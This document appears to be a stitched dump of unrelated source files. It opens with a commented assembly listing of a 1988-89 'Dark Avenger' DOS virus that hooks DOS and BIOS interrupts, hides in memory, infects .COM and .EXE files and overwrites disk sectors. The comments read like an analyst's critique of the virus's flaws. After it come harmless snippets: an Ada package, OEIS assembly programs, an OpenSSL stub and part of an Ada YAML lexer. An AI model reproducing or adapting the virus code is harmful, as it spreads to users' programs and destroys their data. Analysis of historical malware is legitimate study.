cmp ax,0f000h ;for diskettes if a hard disk is
jne nofdisk ;available
mov word ptr cs:[si+disk+2],ax
mov ax,ds:[40h*4]
mov word ptr cs:[si+disk],ax
mov dl,80h
mov ax,ds:[41h*4+2] ;INT 41h usually points the segment,
cmp ax,0f000h ;where the original INT 13h vector is
je isfdisk
cmp ah,0c8h
jc nofdisk
cmp ah,0f4h
jnc nofdisk
test al,7fh
jnz nofdisk
mov ds,ax
cmp ds:[0],0aa55h
jne nofdisk
mov dl,ds:[2]
isfdisk:
mov ds,ax
xor dh,dh
mov cl,9
shl dx,cl
mov cx,dx
xor si,si
findvect:
lodsw ;Occasionally begins with:
cmp ax,0fa80h ; CMP DL,80h
jne altchk ; JNC somewhere
lodsw
cmp ax,7380h
je intchk
jne nxt0
altchk:
cmp ax,0c2f6h ;or with:
jne nxt ; TEST DL,80h
lodsw ; JNZ somewhere
cmp ax,7580h
jne nxt0
intchk:
inc si ;then there is:
lodsw ; INT 40h
cmp ax,40cdh
je found
sub si,3
nxt0:
dec si
dec si
nxt:
dec si
loop findvect
jmp short nofdisk
found:
sub si,7
mov word ptr cs:[di+fdisk],si
mov word ptr cs:[di+fdisk+2],ds
nofdisk:
mov si,di
pop ds
; Check whether the program is present in memory:
les ax,ds:[21h*4]
mov word ptr cs:[si+save_int_21],ax
mov word ptr cs:[si+save_int_21+2],es
push cs
pop ds
cmp ax,offset int_21
jne bad_func
xor di,di
mov cx,offset my_size
scan_func:
lodsb
scasb
jne bad_func
loop scan_func
pop es
jmp go_program
; Move the program to the top of memory:
; (it's full of rubbish and bugs here)
bad_func:
pop es
mov ah,49h
int 21h
mov bx,0ffffh
mov ah,48h
int 21h
sub bx,(top_bz+my_bz+1ch-1)/16+2
jc go_program
mov cx,es
stc
adc cx,bx
mov ah,4ah
int 21h
mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1
stc
sbb es:[2],bx
push es
mov es,cx
mov ah,4ah
int 21h
mov ax,es
dec ax
mov ds,ax
mov word ptr ds:[1],8
call mul_16
mov bx,ax
mov cx,dx
pop ds
mov ax,ds
call mul_16
add ax,ds:[6]
adc dx,0
sub ax,bx
sbb dx,cx
jc mem_ok
sub ds:[6],ax ;Reduction of the segment size
mem_ok:
pop si
push si
push ds
push cs
xor di,di
mov ds,di
lds ax,ds:[27h*4]
mov word ptr cs:[si+save_int_27],ax
mov word ptr cs:[si+save_int_27+2],ds
pop ds
mov cx,offset aux_size
rep movsb
xor ax,ax
mov ds,ax
mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
mov ds:[21h*4+2],es
mov ds:[27h*4],offset int_27
mov ds:[27h*4+2],es
mov word ptr es:[filehndl],ax
pop es
go_program:
pop si
; Smash the next disk sector:
xor ax,ax
mov ds,ax
mov ax,ds:[13h*4]
mov word ptr cs:[si+save_int_13],ax
mov ax,ds:[13h*4+2]
mov word ptr cs:[si+save_int_13+2],ax
mov ds:[13h*4],offset int_13
add ds:[13h*4],si
mov ds:[13h*4+2],cs
pop ds
push ds
push si
mov bx,si
lds ax,ds:[2ah]
xor si,si
mov dx,si
scan_envir: ;Fetch program's name
lodsw ;(with DOS 2.x it doesn't work anyway)
dec si
test ax,ax
jnz scan_envir
add si,3
lodsb
; The following instruction is a complete nonsense. Try to enter a drive &
; directory path in lowercase, then run an infected program from there.
; As a result of an error here + an error in DOS the next sector is not
; smashed. Two memory bytes are smashed instead, most probably onto the
; infected program.
sub al,'A'
mov cx,1
push cs
pop ds
add bx,offset int_27
push ax
push bx
push cx
int 25h
pop ax
pop cx
pop bx
inc byte ptr [bx+0ah]
and byte ptr [bx+0ah],0fh ;It seems that 15 times doing
jnz store_sec ;nothing is not enough for some.
mov al,[bx+10h]
xor ah,ah
mul word ptr [bx+16h]
add ax,[bx+0eh]
push ax
mov ax,[bx+11h]
mov dx,32
mul dx
div word ptr [bx+0bh]
pop dx
add dx,ax
mov ax,[bx+8]
add ax,40h
cmp ax,[bx+13h]
jc store_new
inc ax
and ax,3fh
add ax,dx
cmp ax,[bx+13h]
jnc small_disk
store_new:
mov [bx+8],ax
store_sec:
pop ax
xor dx,dx
push ax
push bx
push cx
int 26h
; The writing trough this interrupt is not the smartest thing, bacause it
; can be intercepted (what <NAME> has managed to notice).
pop ax
pop cx
pop bx
pop ax
cmp byte ptr [bx+0ah],0
jne not_now
mov dx,[bx+8]
pop bx
push bx
int 26h
small_disk:
pop ax
not_now:
pop si
xor ax,ax
mov ds,ax
mov ax,word ptr cs:[si+save_int_13]
mov ds:[13h*4],ax
mov ax,word ptr cs:[si+save_int_13+2]
mov ds:[13h*4+2],ax
pop ds
pop ax
cmp word ptr cs:[si+my_save],5a4dh
jne go_exit_com
jmp exit_exe
go_exit_com:
jmp exit_com
int_24:
mov al,3 ;This instruction seems unnecessary
iret
; INT 27h handler (this is necessary)
int_27:
pushf
call alloc
popf
jmp dword ptr cs:[save_int_27]
; During the DOS functions Set & Get Vector it seems that the virus has not
; intercepted them (this is a doubtfull advantage and it is a possible
; source of errors with some "intelligent" programs)
set_int_27:
mov word ptr cs:[save_int_27],dx
mov word ptr cs:[save_int_27+2],ds
popf
iret
set_int_21:
mov word ptr cs:[save_int_21],dx
mov word ptr cs:[save_int_21+2],ds
popf
iret
get_int_27:
les bx,dword ptr cs:[save_int_27]
popf
iret
get_int_21:
les bx,dword ptr cs:[save_int_21]
popf
iret
exec:
call do_file
call alloc
popf
jmp dword ptr cs:[save_int_21]
db '<NAME>.',0
; INT 21h handler. Infects files during execution, copying, browsing or
; creating and some other operations. The execution of functions 0 and 26h
; has bad consequences.
int_21:
push bp
mov bp,sp
push [bp+6]
popf
pop bp
pushf
call ontop
cmp ax,2521h
je set_int_21
cmp ax,2527h
je set_int_27
cmp ax,3521h
je get_int_21
cmp ax,3527h
je get_int_27
cld
cmp ax,4b00h
je exec
cmp ah,3ch
je create
cmp ah,3eh
je close
cmp ah,5bh
jne not_create
create:
cmp word ptr cs:[filehndl],0;May be 0 if the file is open
jne dont_touch
call see_name
jnz dont_touch
call alloc
popf
call function
jc int_exit
pushf
push es
push cs
pop es
push si
push di
push cx
push ax
mov di,offset filehndl
stosw
mov si,dx
mov cx,65
move_name:
lodsb
stosb
test al,al
jz all_ok
loop move_name
mov word ptr es:[filehndl],cx
all_ok:
pop ax
pop cx
pop di
pop si
pop es
go_exit:
popf
jnc int_exit ;JMP
close:
cmp bx,word ptr cs:[filehndl]
jne dont_touch
test bx,bx
jz dont_touch
call alloc
popf
call function
jc int_exit
pushf
push ds
push cs
pop ds
push dx
mov dx,offset filehndl+2
call do_file
mov word ptr cs:[filehndl],0
pop dx
pop ds
jmp go_exit
not_create:
cmp ah,3dh
je touch
cmp ah,43h
je touch
cmp ah,56h ;Unfortunately, the command inter-
jne dont_touch ;preter does not use this function
touch:
call see_name
jnz dont_touch
call do_file
dont_touch:
call alloc
popf
call function
int_exit:
pushf
push ds
call get_chain
mov byte ptr ds:[0],'Z'
pop ds
popf
dummy proc far ;???
ret 2
dummy endp
; Checks whether the file is .COM or .EXE.
; It is not called upon file execution.
see_name:
push ax
push si
mov si,dx
scan_name:
lodsb
test al,al
jz bad_name
cmp al,'.'
jnz scan_name
call get_byte
mov ah,al
call get_byte
cmp ax,'co'
jz pos_com
cmp ax,'ex'
jnz good_name
call get_byte
cmp al,'e'
jmp short good_name
pos_com:
call get_byte
cmp al,'m'
jmp short good_name
bad_name:
inc al
good_name:
pop si
pop ax
ret
; Converts into lowercase (the subroutines are a great thing).
get_byte:
lodsb
cmp al,'C'
jc byte_got
cmp al,'Y'
jnc byte_got
add al,20h
byte_got:
ret
; Calls the original INT 21h.
function:
pushf
call dword ptr cs:[save_int_21]
ret
; Arrange to infect an executable file.
do_file:
push ds ;Save the registers in stack
push es
push si
push di
push ax
push bx
push cx
push dx
mov si,ds
xor ax,ax
mov ds,ax
les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack
push es ;and changes them with what is needed
push ax
mov ds:[24h*4],offset int_24
mov ds:[24h*4+2],cs
les ax,ds:[13h*4]
mov word ptr cs:[save_int_13],ax
mov word ptr cs:[save_int_13+2],es
mov ds:[13h*4],offset int_13
mov ds:[13h*4+2],cs
push es
push ax
mov ds,si
xor cx,cx ;Arranges to infect Read-only files
mov ax,4300h
call function
mov bx,cx
and cl,0feh
cmp cl,bl
je dont_change
mov ax,4301h
call function
stc
dont_change:
pushf
push ds
push dx
push bx
mov ax,3d02h ;Now we can safely open the file
call function
jc cant_open
mov bx,ax
call disease
mov ah,3eh ;Close it
call function
cant_open:
pop cx
pop dx
pop ds
popf
jnc no_update
mov ax,4301h ;Restores file's attributes
call function ;if they were changed (just in case)
no_update:
xor ax,ax ;Restores INT 13h and INT 24h
mov ds,ax
pop ds:[13h*4]
pop ds:[13h*4+2]
pop ds:[24h*4]
pop ds:[24h*4+2]
pop dx ;Register restoration
pop cx
pop bx
pop ax
pop di
pop si
pop es
pop ds
ret
; This routine is the working horse.
disease:
push cs
pop ds
push cs
pop es
mov dx,offset top_save ;Read the file beginning
mov cx,18h
mov ah,3fh
int 21h
xor cx,cx
xor dx,dx
mov ax,4202h ;Save file length
int 21h
mov word ptr [top_save+1ah],dx
cmp ax,offset my_size ;This should be top_file
sbb dx,0
jc stop_fuck_2 ;Small files are not infected
mov word ptr [top_save+18h],ax
cmp word ptr [top_save],5a4dh
jne com_file
mov ax,word ptr [top_save+8]
add ax,word ptr [top_save+16h]
call mul_16
add ax,word ptr [top_save+14h]
adc dx,0
mov cx,dx
mov dx,ax
jmp short see_sick
com_file:
cmp byte ptr [top_save],0e9h
jne see_fuck
mov dx,word ptr [top_save+1]
add dx,103h
jc see_fuck
dec dh
xor cx,cx
; Check if the file is properly infected
see_sick:
sub dx,startup-copyright
sbb cx,0
mov ax,4200h
int 21h
add ax,offset top_file
adc dx,0
cmp ax,word ptr [top_save+18h]
jne see_fuck
cmp dx,word ptr [top_save+1ah]
jne see_fuck
mov dx,offset top_save+1ch
mov si,dx
mov cx,offset my_size
mov ah,3fh
int 21h
jc see_fuck
cmp cx,ax
jne see_fuck
xor di,di
next_byte:
lodsb
scasb
jne see_fuck
loop next_byte
stop_fuck_2:
ret
see_fuck:
xor cx,cx ;Seek to the end of file
xor dx,dx
mov ax,4202h
int 21h
cmp word ptr [top_save],5a4dh
je fuck_exe
add ax,offset aux_size+200h ;Watch out for too big .COM files
adc dx,0
je fuck_it
ret
; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
fuck_exe:
mov dx,word ptr [top_save+18h]
neg dl
and dx,0fh
xor cx,cx
mov ax,4201h
int 21h
mov word ptr [top_save+18h],ax
mov word ptr [top_save+1ah],dx
fuck_it:
mov ax,5700h ;Get file's date
int 21h
pushf
push cx
push dx
cmp word ptr [top_save],5a4dh
je exe_file ;Very clever, isn't it?
mov ax,100h
jmp short set_adr
exe_file:
mov ax,word ptr [top_save+14h]
mov dx,word ptr [top_save+16h]
set_adr:
mov di,offset call_adr
stosw
mov ax,dx
stosw
mov ax,word ptr [top_save+10h]
stosw
mov ax,word ptr [top_save+0eh]
stosw
mov si,offset top_save ;This offers the possibilities to
movsb ;some nasty programs to restore
movsw ;exactly the original length
xor dx,dx ;of the .EXE files
mov cx,offset top_file
mov ah,40h
int 21h ;Write the virus
jc go_no_fuck ;(don't trace here)
xor cx,ax
jnz go_no_fuck
mov dx,cx
mov ax,4200h
int 21h
cmp word ptr [top_save],5a4dh
je do_exe
mov byte ptr [top_save],0e9h
mov ax,word ptr [top_save+18h]
add ax,startup-copyright-3
mov word ptr [top_save+1],ax
mov cx,3
jmp short write_header
go_no_fuck:
jmp short no_fuck
; Construct the .EXE file's header
do_exe:
call mul_hdr
not ax
not dx
inc ax
jne calc_offs
inc dx
calc_offs:
add ax,word ptr [top_save+18h]
adc dx,word ptr [top_save+1ah]
mov cx,10h
div cx
mov word ptr [top_save+14h],startup-copyright
mov word ptr [top_save+16h],ax
add ax,(offset top_file-offset copyright-1)/16+1
mov word ptr [top_save+0eh],ax
mov word ptr [top_save+10h],100h
add word ptr [top_save+18h],offset top_file
adc word ptr [top_save+1ah],0
mov ax,word ptr [top_save+18h]
and ax,1ffh
mov word ptr [top_save+2],ax
pushf
mov ax,word ptr [top_save+19h]
shr byte ptr [top_save+1bh],1
rcr ax,1
popf
jz update_len
inc ax
update_len:
mov word ptr [top_save+4],ax
mov cx,18h
write_header:
mov dx,offset top_save
mov ah,40h
int 21h ;Write the file beginning
no_fuck:
pop dx
pop cx
popf
jc stop_fuck
mov ax,5701h ;Restore the original file date
int 21h
stop_fuck:
ret
; The following is used by the INT 21h and INT 27h handlers in connection
; to the program hiding in memory from those who don't need to see it.
; The whole system is absurde and meaningless and it is also another source
; for program conflicts.
alloc:
push ds
call get_chain
mov byte ptr ds:[0],'M'
pop ds
; Assures that the program is the first one in the processes,
; which have intercepted INT 21h (yet another source of conflicts).
ontop:
push ds
push ax
push bx
push dx
xor bx,bx
mov ds,bx
lds dx,ds:[21h*4]
cmp dx,offset int_21
jne search_segment
mov ax,ds
mov bx,cs
cmp ax,bx
je test_complete
; Searches the segment of the sucker who has intercepted INT 21h, in
; order to find where it has stored the old values and to replace them.
; Nothing is done for INT 27h.
xor bx,bx
search_segment:
mov ax,[bx]
cmp ax,offset int_21
jne search_next
mov ax,cs
cmp ax,[bx+2]
je got_him
search_next:
inc bx
jne search_segment
je return_control
got_him:
mov ax,word ptr cs:[save_int_21]
mov [bx],ax
mov ax,word ptr cs:[save_int_21+2]
mov [bx+2],ax
mov word ptr cs:[save_int_21],dx
mov word ptr cs:[save_int_21+2],ds
xor bx,bx
; Even if he has not saved them in the same segment, this won't help him.
return_control:
mov ds,bx
mov ds:[21h*4],offset int_21
mov ds:[21h*4+2],cs
test_complete:
pop dx
pop bx
pop ax
pop ds
ret
; Fetch the segment of the last MCB
get_chain:
push ax
push bx
mov ah,62h
call function
mov ax,cs
dec ax
dec bx
next_blk:
mov ds,bx
stc
adc bx,ds:[3]
cmp bx,ax
jc next_blk
pop bx
pop ax
ret
; Multiply by 16
mul_hdr:
mov ax,word ptr [top_save+8]
mul_16:
mov dx,10h
mul dx
ret
db 'This program was written in the city of Sofia '
db '(C) 1988-89 Dark Avenger',0
; INT 13h handler.
; Calls the original vectors in BIOS, if it's a writing call
int_13:
cmp ah,3
jnz subfn_ok
cmp dl,80h
jnc hdisk
db 0eah ;JMP XXXX:YYYY
my_size: ;--- Up to here comparison
disk: ; with the original is made
dd 0
hdisk:
db 0eah ;JMP XXXX:YYYY
fdisk:
dd 0
subfn_ok:
db 0eah ;JMP XXXX:YYYY
save_int_13:
dd 0
call_adr:
dd 100h
stack_pointer:
dd 0 ;The original value of SS:SP
my_save:
int 20h ;The original contents of the first
nop ;3 bytes of the file
top_file: ;--- Up to here the code is written
filehndl equ $ ; in the files
filename equ filehndl+2 ;Buffer for the name of the opened file
save_int_27 equ filename+65 ;Original INT 27h vector
save_int_21 equ save_int_27+4 ;Original INT 21h vector
aux_size equ save_int_21+4 ;--- Up to here is moved into memory
top_save equ save_int_21+4 ;Beginning of the buffer, which
contains
; - The first 24 bytes read from file
; - File length (4 bytes)
; - The last bytes of the file
; (my_size bytes)
top_bz equ top_save-copyright
my_bz equ my_size-copyright
code ends
end
|
src/alarm.ads | fionahiklas/ada_unit_test_examples | 0 | 1964 | <filename>src/alarm.ads
package Alarm is
end Alarm; |
oeis/159/A159529.asm | neoneye/loda-programs | 11 | 163720 | <reponame>neoneye/loda-programs
; A159529: Numerator of Hermite(n, 1/17).
; Submitted by <NAME>
; 1,2,-574,-3460,988396,9976312,-2836511816,-40270873648,11395985060240,209004489868832,-58863905303630816,-1325773762049110592,371605162396386506944,9938777138365404080000,-2772363635969717405017216,-85969311875592284625394432,23864454100106265332248473856,842773104425689978880144654848,-232806579778792783196913214799360,-9233824538002464106662851418637312,2538214210054697416855175222089296896,111819440079417879906732912843625920512,-30585205201485081485974651020032633882624
lpb $0
sub $0,1
add $3,1
add $2,$3
mul $3,2
add $4,289
mul $3,$4
sub $2,$3
add $3,$2
lpe
mov $0,$3
add $0,1
|
programs/oeis/333/A333574.asm | karttu/loda | 1 | 80065 | ; A333574: Number of Hamiltonian paths in the n X 2 grid graph which start at any of the n vertices on left side of the graph and terminate at any of the n vertices on the right side.
; 1,2,4,6,10,14,20,26,34,42,52,62,74,86,100,114,130,146,164,182,202,222,244,266,290,314,340,366,394,422,452,482,514,546,580,614,650,686,724,762,802,842,884,926,970,1014,1060,1106,1154,1202,1252,1302,1354,1406,1460,1514,1570,1626,1684,1742,1802,1862,1924,1986,2050,2114,2180,2246,2314,2382,2452,2522,2594,2666,2740,2814,2890,2966,3044,3122,3202,3282,3364,3446,3530,3614,3700,3786,3874,3962,4052,4142,4234,4326,4420,4514,4610,4706,4804,4902,5002,5102,5204,5306,5410,5514,5620,5726,5834,5942,6052,6162,6274,6386,6500,6614,6730,6846,6964,7082,7202,7322,7444,7566,7690,7814,7940,8066,8194,8322,8452,8582,8714,8846,8980,9114,9250,9386,9524,9662,9802,9942,10084,10226,10370,10514,10660,10806,10954,11102,11252,11402,11554,11706,11860,12014,12170,12326,12484,12642,12802,12962,13124,13286,13450,13614,13780,13946,14114,14282,14452,14622,14794,14966,15140,15314,15490,15666,15844,16022,16202,16382,16564,16746,16930,17114,17300,17486,17674,17862,18052,18242,18434,18626,18820,19014,19210,19406,19604,19802,20002,20202,20404,20606,20810,21014,21220,21426,21634,21842,22052,22262,22474,22686,22900,23114,23330,23546,23764,23982,24202,24422,24644,24866,25090,25314,25540,25766,25994,26222,26452,26682,26914,27146,27380,27614,27850,28086,28324,28562,28802,29042,29284,29526,29770,30014,30260,30506,30754,31002
pow $0,2
sub $0,1
mov $1,$0
div $0,2
add $1,2
sub $1,$0
|
programs/oeis/016/A016848.asm | neoneye/loda | 22 | 14605 | ; A016848: a(n) = (4*n+3)^12.
; 531441,13841287201,3138428376721,129746337890625,2213314919066161,21914624432020321,150094635296999121,787662783788549761,3379220508056640625,12381557655576425121,39959630797262576401,116191483108948578241,309629344375621415601,766217865410400390625,1779197418239532716881,3909188328478827879681,8182718904632857144561,16409682740640811134241,31676352024078369140625,59091511031674153381441,106890007738661124410161,188031682201497672618081,322475487413604782665681,540360087662636962890625,886384871716129280658801,1425760886846178945447841,2252191588960823337718801,3498450596935634189769921,5350250105473711181640625,8064241715186276625588961,11991163848716906297072721,17605349516220764271966721,25542038069936263923006961,36644198070556426025390625,52020869037289085480011921,73119371471655725294164801,101814121186119595835681841,140515219945627518837736801,192300484323376406494140625,261075123337098804348567681,351763888007705494736404081,470541197898347534873984161,625105506678337880602119441,825005006849765777587890625,1082022699327332498100696241,1410629873249683485564270561,1828518162230556187140793681,2357221572577185690065114881,3022841224505963164306640625,3856887017121283350242637601,4897252030306448390395044241,6189337220490697154402830401,7787345861668898615544483121,9755769237612933691650390625,12171087315874829579909431761,15123710539293666054338805121,18720191467045367574023614321,23085737796000848857434784161,28367061305895648984619140625,34735600510611194263176918721,42391158275216203514294433201,51565999387260564203827465441,62529457064557415999535378001,75593101654204447168212890625,91116529343230957588293738481,109513833574845676773925608481,131260827061126477105043503761,156903087818962082857498424641,187064908547461032867431640625,222459234928734230114433331041,263898685087308495981516810961,312307749504346137016129649281,368736278169776566314796884081,434374369687385917207275390625,510568785444411275443565936401,598841020838364120317909320641,700907174940351875150276622001,818699769887346816976612516321,954391681757526337812744140625,1110422355715432735355050594561,1289526489840334121941717217521,1494765384295483228389391941921,1729561165382261200512043881361,1997734107576381138808837890625,2303543290888970191892547145521,2651730845859653471779023381601,3047570054198584854687363929041,3496917589577226791795034339201,4006270200351760530820556640625,4582826154117173651132848229281,5234551782963872647784755492881,5970253488172346700935405703361,6799655583865908142394420049841,7733484380878508090972900390625,8783558934816442124406231285841,9962888906032515816542942031361,11285780004022761936582279184881,12767947514633659874603497973281,14426638435467322602890869140625,16280762773029363806577930555201
mul $0,4
add $0,3
pow $0,12
|
CryptoPkg/Library/OpensslLib/X64/crypto/aes/aesni-sha256-x86_64.nasm | nicklela/edk2 | 3,012 | 102503 | ; WARNING: do not edit!
; Generated from openssl/crypto/aes/asm/aesni-sha256-x86_64.pl
;
; Copyright 2013-2020 The OpenSSL Project Authors. All Rights Reserved.
;
; Licensed under the OpenSSL license (the "License"). You may not use
; this file except in compliance with the License. You can obtain a copy
; in the file LICENSE in the source distribution or at
; https://www.openssl.org/source/license.html
default rel
%define XMMWORD
%define YMMWORD
%define ZMMWORD
section .text code align=64
EXTERN OPENSSL_ia32cap_P
global aesni_cbc_sha256_enc
ALIGN 16
aesni_cbc_sha256_enc:
xor eax,eax
cmp rcx,0
je NEAR $L$probe
ud2
$L$probe:
DB 0F3h,0C3h ;repret
ALIGN 64
K256:
DD 0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5
DD 0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5
DD 0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5
DD 0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5
DD 0xd807aa98,0x12835b01,0x243185be,0x550c7dc3
DD 0xd807aa98,0x12835b01,0x243185be,0x550c7dc3
DD 0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174
DD 0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174
DD 0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc
DD 0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc
DD 0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da
DD 0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da
DD 0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7
DD 0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7
DD 0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967
DD 0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967
DD 0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13
DD 0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13
DD 0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85
DD 0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85
DD 0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3
DD 0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3
DD 0xd192e819,0xd6990624,0xf40e3585,0x106aa070
DD 0xd192e819,0xd6990624,0xf40e3585,0x106aa070
DD 0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5
DD 0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5
DD 0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3
DD 0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3
DD 0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208
DD 0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208
DD 0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2
DD 0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2
DD 0x00010203,0x04050607,0x08090a0b,0x0c0d0e0f
DD 0x00010203,0x04050607,0x08090a0b,0x0c0d0e0f
DD 0,0,0,0,0,0,0,0,-1,-1,-1,-1
DD 0,0,0,0,0,0,0,0
DB 65,69,83,78,73,45,67,66,67,43,83,72,65,50,53,54
DB 32,115,116,105,116,99,104,32,102,111,114,32,120,56,54,95
DB 54,52,44,32,67,82,89,80,84,79,71,65,77,83,32,98
DB 121,32,60,97,112,112,114,111,64,111,112,101,110,115,115,108
DB 46,111,114,103,62,0
ALIGN 64
|
src/implementation/yaml-lexer.ads | robdaemon/AdaYaml | 32 | 27628 | -- part of AdaYaml, (c) 2017 <NAME>
-- released under the terms of the MIT license, see the file "copying.txt"
with Ada.Strings.UTF_Encoding;
private with Lexer.Base;
with Text.Pool;
with Yaml.Source;
private package Yaml.Lexer is
use Ada.Strings.UTF_Encoding;
Default_Initial_Buffer_Size : constant := 8096;
type Instance is limited private;
procedure Init
(L : in out Instance; Input : Source.Pointer;
Pool : Text.Pool.Reference;
Initial_Buffer_Size : Positive := Default_Initial_Buffer_Size);
procedure Init (L : in out Instance; Input : UTF_String;
Pool : Text.Pool.Reference);
type Token_Kind is
(Yaml_Directive, -- `%YAML`
Tag_Directive, -- `%TAG`
Unknown_Directive, -- any directive but `%YAML` and `%TAG`
Directive_Param, -- parameters of %YAML and unknown directives
Empty_Line, -- necessary for correctly handling line folding in
-- multiline plain scalars
Directives_End, -- explicit `---`
Document_End, -- explicit `...`
Stream_End, -- end of input
Indentation, -- yielded at beginning of non-empty line
Plain_Scalar,
Single_Quoted_Scalar,
Double_Quoted_Scalar,
Literal_Scalar,
Folded_Scalar,
Seq_Item_Ind, -- block sequence item indicator `- `
Map_Key_Ind, -- mapping key indicator `? `
Map_Value_Ind, -- mapping value indicator `: `
Flow_Map_Start, -- `{`
Flow_Map_End, -- `}`
Flow_Seq_Start, -- `[`
Flow_Seq_End, -- `]`
Flow_Separator, -- `,`
Tag_Handle, -- a handle of a tag, e.g. `!!` of `!!str`
Suffix, -- suffix of a tag shorthand, e.g. `str` of `!!str`
-- also used for the URI of the %TAG directive and
-- annotations.
Verbatim_Tag, -- a verbatim tag, e.g. `!<tag:yaml.org,2002:str>`
-- TODO: remove (unsupported in YAML 1.3)
Anchor, -- an anchor property of a node, e.g. `&anchor`
Alias, -- an alias property of a node, e.g. `*alias`
Annotation_Handle, -- handle of an annotation, e.g. '@@' of '@@concat'
Params_Start, -- start of annotation parameters `(`
Params_End -- end of annotation parameters `)`
);
subtype Scalar_Token_Kind is Token_Kind range Plain_Scalar .. Folded_Scalar;
subtype Flow_Scalar_Token_Kind is
Token_Kind range Plain_Scalar .. Double_Quoted_Scalar;
subtype Node_Property_Kind is Token_Kind with Static_Predicate =>
Node_Property_Kind in Tag_Handle | Verbatim_Tag | Anchor | Annotation_Handle;
type Token is record
Kind : Token_Kind;
-- Start_Pos is first character, End_Pos is after last character. This
-- is necessary for zero-length tokens (stream end)
Start_Pos, End_Pos : Mark;
end record;
function Next_Token (L : in out Instance) return Token with Inline;
-- return the lexeme of the recent token without the first character. This
-- is useful for anchors, aliases, directive names and the like.
function Short_Lexeme (L : Instance) return String with Inline;
-- return the current lexeme including the first character. This is useful
-- for tokens that do not have a leading indicator char.
function Full_Lexeme (L : Instance) return String with Inline;
function Current_Content (L : Instance) return Text.Reference with Inline;
function Escaped_Current (L : Instance) return String with Inline;
subtype Indentation_Type is Integer range -1 .. Integer'Last;
function Current_Indentation (L : Instance) return Indentation_Type
with Inline;
function Recent_Indentation (L : Instance) return Indentation_Type
with Inline;
function Last_Scalar_Was_Multiline (L : Instance) return Boolean with Inline;
function Recent_Start_Mark (L : Instance) return Mark with Inline;
function Cur_Mark (L : Instance; Offset : Integer := -1) return Mark
with Inline;
private
type State_Type is access function
(L : in out Instance; T : out Token) return Boolean;
type Instance is limited new Standard.Lexer.Base.Instance with record
Token_Start : Positive;
-- index of the character that started the current token PLUS ONE.
-- this index is one behind the actual first token for implementation
-- reasons; use Short_Lexeme and Full_Lexeme to compensate.
Token_Start_Mark : Mark;
-- mark at the current token's start. necessary for inspection in the
-- case of a Lexer_Error.
Indentation : Indentation_Type;
-- number of indentation spaces of the recently yielded content token.
-- this is important for internal processing of multiline tokens, as
-- they must have at least one space of indentation more than their
-- parents on all lines.
Proposed_Indentation : Indentation_Type;
-- number of indentation spaces of the recently started set of node
-- properties. This is only necessary for implicit scalar keys with
-- properties, to get the proper indentation value for those.
State : State_Type;
-- pointer to the implementation of the current lexer state
Line_Start_State : State_Type;
-- state to go to after ending the current line. used in conjunction
-- with the Expect_Line_End state.
Json_Enabling_State : State_Type;
-- used for special JSON compatibility productions. after certain
-- tokens, it is allowed for a map value indicator to not be succeeded
-- by whitespace.
Cur : Character; -- recently read character
Flow_Depth, Annotation_Depth : Natural;
-- current level of flow collections and annotation parameter lists
Value : Text.Reference;
-- content of the recently read scalar or URI, if any.
Pool : Text.Pool.Reference; -- used for generating Content
Seen_Multiline : Boolean;
-- remember whether the last scalar was multiline
end record;
-- The following stuff is declared here so that it can be unit-tested.
-----------------------------------------------------------------------------
-- special characters and character classes
-----------------------------------------------------------------------------
End_Of_Input : constant Character := Character'Val (4);
Line_Feed : constant Character := Character'Val (10);
Carriage_Return : constant Character := Character'Val (13);
subtype Line_End is Character with Static_Predicate =>
Line_End in Line_Feed | Carriage_Return | End_Of_Input;
subtype Space_Or_Line_End is Character with Static_Predicate =>
Space_Or_Line_End in ' ' | Line_End;
subtype Comment_Or_Line_End is Character with Static_Predicate =>
Comment_Or_Line_End in '#' | Line_End;
subtype Digit is Character range '0' .. '9';
subtype Ascii_Char is Character with Static_Predicate =>
Ascii_Char in 'A' .. 'Z' | 'a' .. 'z';
subtype Flow_Indicator is Character with Static_Predicate =>
Flow_Indicator in '{' | '}' | '[' | ']' | ',';
subtype Annotation_Param_Indicator is Character with Static_Predicate =>
Annotation_Param_Indicator in '(' | ')';
subtype Tag_Shorthand_Char is Character with Static_Predicate =>
Tag_Shorthand_Char in Ascii_Char | Digit | '-';
subtype Tag_Uri_Char is Character with Static_Predicate =>
Tag_Uri_Char in Ascii_Char | Digit | '#' | ';' | '/' | '?' | ':' |
'@' | '&' | '=' | '+' | '$' | ',' | '_' | '.' | '!' | '~' | '*' | ''' |
'(' | ')' | '[' | ']' | '-';
subtype Tag_Char is Character with Static_Predicate =>
(Tag_Char in Tag_Uri_Char) and not (Tag_Char in Flow_Indicator | '!');
subtype Suffix_Char is Character with Static_Predicate =>
Suffix_Char in Ascii_Char | Digit | '#' | ';' | '/' | '?' | '@' | '&' |
